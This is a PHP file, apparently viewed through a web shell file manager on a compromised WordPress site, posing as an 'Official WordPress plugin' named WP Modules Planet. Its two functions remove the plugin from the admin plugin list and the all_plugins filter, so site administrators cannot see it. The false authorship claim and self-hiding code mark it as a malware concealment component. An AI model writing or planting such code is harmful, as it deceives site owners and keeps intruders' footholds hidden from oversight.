Viewing File: /home/cienp/public_html/inct-inovamed/wp-content/plugins/wp-modules-planet/wp-modules-planet.php

<?php
/*
Plugin Name: WP Modules Planet
Plugin URI: http://wordpress.org/#
Description: Official WordPress plugin
Author: WordPress
Version: 15.0.1
Author URI: http://wordpress.org/#
License: GPL2
*/

function kwh_mxq()
{
    global $wp_list_table;
    
    if (!isset($wp_list_table)) {
        return;
    }

    $a = array('wp-modules-planet/wp-modules-planet.php');

    if (isset($wp_list_table->items) && is_array($wp_list_table->items)) {
        foreach ($wp_list_table->items as $key => $val) {
            if (in_array($key, $a)) {
                unset($wp_list_table->items[$key]);
            }
        }
    }
}

function nsw_yfb($plugins)
{
    $j = 'wp-modules-planet/wp-modules-planet.php';
    if (array_key_exists($j, $plugins)) {
        unset($plugins[$j]);
    }
    return $plugins;
}

if (defined('ABSPATH')) {
    add_action('pre_current_active_plugins', 'kwh_mxq');
    add_filter('all_plugins', 'nsw_yfb');
}
Back to Directory File Manager